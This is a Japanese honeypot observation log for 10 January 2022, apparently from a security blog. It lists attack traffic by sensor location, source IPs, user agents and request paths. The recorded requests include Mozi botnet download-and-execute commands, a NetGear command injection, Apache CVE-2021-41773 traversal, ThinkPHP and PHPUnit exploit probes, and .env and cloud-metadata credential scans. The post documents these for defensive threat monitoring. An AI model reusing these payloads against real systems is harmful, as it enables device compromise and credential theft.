2022/01/10 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/01/10分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.envへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
112.124.42.80に関する不正通信
179.61.251.239に関する不正通信

を確認しました。

Location:US

NetGear製品の脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
179.61.251.239に関する不正通信
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為
phpMyAdminへのスキャン行為
179.61.251.239に関する不正通信
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
aiohttpによるスキャン行為
179.61.251.239に関する不正通信
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://219.156.26.195:51201/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

他

アクセス数推移

JP：総アクセス数：211 (前日比：-30)
US：総アクセス数：190 (前日比：124)
UK：総アクセス数：300 (前日比：104)
SG：総アクセス数：52 (前日比：-230)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	14.226.183.123	Vietnam
1	20.124.17.150	United States
40	34.229.123.91	United States
2	39.104.87.207	China
1	45.88.109.151	Germany
9	45.146.165.37	Russia
1	52.235.35.202	United States
1	60.191.125.35	China
1	61.53.100.108	China
94	107.136.178.249	United States
14	107.172.73.224	United States
1	109.237.103.9	Russia
3	125.64.94.138	China
1	134.209.87.59	United States
13	135.125.244.48	France
1	139.28.39.31	Ukraine
1	139.162.145.250	Netherlands
1	143.110.227.92	United States
1	143.198.55.184	United States
1	143.244.189.0	United States
2	144.126.209.23	United States
1	147.182.195.163	United States
1	159.203.115.159	United States
1	165.232.142.210	United States
1	180.149.125.168	Mongolia
1	183.159.55.122	China
1	185.56.80.65	Seychelles
1	185.172.110.204	Australia
5	185.254.196.217	Ukraine
3	185.254.196.218	Ukraine
1	192.236.155.226	United States
1	209.17.96.122	United States
3	209.141.53.74	United States
1	209.141.54.110	United States

UserAgent一覧

件数	UserAgent
8	`-`
1	`Go-http-client/1.1`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36`
9	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
14	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36`
95	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
32	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
3	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$`	HTTP/1.0
1		`\x16\x03\x01\x01\xfa\x01`
1		`\x16\x03\x01\x02`
2		`\x16\x03\x01`
1	CONNECT	`179[.]61[.]251[.]239:4444`	HTTP/1.1
32	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/2phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2012/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2016/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2017/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2020/index.php?lang=en`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
2	GET	`/_phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/pMA/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/web/index.php?lang=en`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/c/`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
3	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
1	GET	`/db/index.php?lang=en`	HTTP/1.1
1	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/webadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
2	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
2	GET	`/mysql/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
2	GET	`/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.0-english/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.1-english/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmy/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2013/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2015/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2021/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2011/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2012/index.php?lang=en`	HTTP/1.1
3	GET	`/pma2016/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2018/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2019/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2020/index.php?lang=en`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
2	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/sql-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
1	GET	`/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-login.php`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
1	GET	`http[:]//169[.]254[.]169[.]254/latest/meta-data/`	HTTP/1.1
1	HEAD	`http[:]//112[.]124[.]42[.]80:63435/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	20.119.227.45	United States
1	27.43.205.82	China
1	27.47.43.235	China
3	43.132.102.199	Singapore
1	45.88.109.151	Germany
4	45.146.165.37	Russia
1	45.153.160.131	Czechia
6	51.79.29.48	Canada
2	54.221.78.67	United States
1	64.225.75.232	United States
2	74.117.198.151	United States
1	78.128.112.14	Bulgaria
2	94.232.43.63	Russia
1	103.145.13.223	India
1	109.237.103.9	Russia
1	109.237.103.123	Russia
3	137.184.221.114	United States
1	139.162.145.250	Netherlands
1	143.244.189.0	United States
2	147.182.232.128	United States
132	152.228.142.232	France
1	159.223.161.254	United States
1	165.227.141.123	United States
3	165.232.137.148	United States
1	172.104.138.223	United States
5	185.142.236.40	Seychelles
1	185.172.110.204	Australia
2	185.196.220.54	Netherlands
1	209.17.96.34	United States
5	209.141.53.74	United States
1	209.141.54.110	United States

UserAgent一覧

件数	UserAgent
17	`-`
1	`Go-http-client/1.1`
1	`Hello, World`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
132	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36`
22	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
3		`\x03`
1		`\x16\x03\x01\x01\xfb\x01`
5		`\x16\x03\x01`
1	CONNECT	`179[.]61[.]251[.]239:4444`	HTTP/1.1
24	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
2	GET	`/2phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2012/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2013/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2016/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2017/index.php?lang=en`	HTTP/1.1
6	GET	`/PMA2018/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
3	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
3	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
4	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/pma/index.php?lang=en`	HTTP/1.1
5	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/db/webadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/db/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/dispatch.asp`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
2	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
4	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqlmanager/index.php?lang=en`	HTTP/1.1
2	GET	`/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin-5.1.0-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.1-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin1/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
4	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
4	GET	`/phpMyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin2011/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2017/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2020/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2021/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2011/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2012/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2016/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2017/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2019/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2020/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2021/index.php?lang=en`	HTTP/1.1
1	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shopdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
3	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/phpmanager/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-content/`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
2	HEAD	`/`	HTTP/1.0
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
3	45.88.109.151	Germany
11	45.146.165.37	Russia
4	71.6.146.185	United States
1	78.128.112.14	Bulgaria
1	103.145.13.223	India
1	109.237.103.9	Russia
1	109.237.103.123	Russia
1	139.162.145.250	Netherlands
132	174.29.110.156	United States
1	180.149.125.173	Mongolia
1	182.121.150.45	China
1	185.172.110.204	Australia
1	188.169.36.159	Georgia
132	189.159.45.153	Mexico
1	198.98.49.124	United States
1	209.17.96.50	United States
5	209.141.53.74	United States
1	209.141.54.110	United States
1	219.155.26.77	China

UserAgent一覧

件数	UserAgent
10	`-`
1	`Go-http-client/1.1`
1	`Hello, World`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
264	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
2	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
6	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x03`
1		`\x16\x03\x01`
3	CONNECT	`179[.]61[.]251[.]239:4444`	HTTP/1.1
2	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
3	GET	`/PMA/index.php?lang=en`	HTTP/1.1
4	GET	`/PMA2011/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2012/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2013/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2014/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2015/index.php?lang=en`	HTTP/1.1
3	GET	`/PMA2016/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2017/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2018/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2019/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2020/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2021/index.php?lang=en`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
3	GET	`/_phpMyAdmin/index.php?lang=en`	HTTP/1.1
5	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/index.php?lang=en`	HTTP/1.1
3	GET	`/admin/pMA/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/phpMyAdmin/index.php?lang=en`	HTTP/1.1
3	GET	`/admin/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
4	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
3	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/bag2`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
6	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
2	GET	`/database/index.php?lang=en`	HTTP/1.1
2	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbadmin/index.php?lang=en`	HTTP/1.1
5	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
4	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpmyadmin3/index.php?lang=en`	HTTP/1.1
4	GET	`/db/webadmin/index.php?lang=en`	HTTP/1.1
8	GET	`/db/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/db/websql/index.php?lang=en`	HTTP/1.1
2	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
2	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql-admin/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/admin/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/sqlmanager/index.php?lang=en`	HTTP/1.1
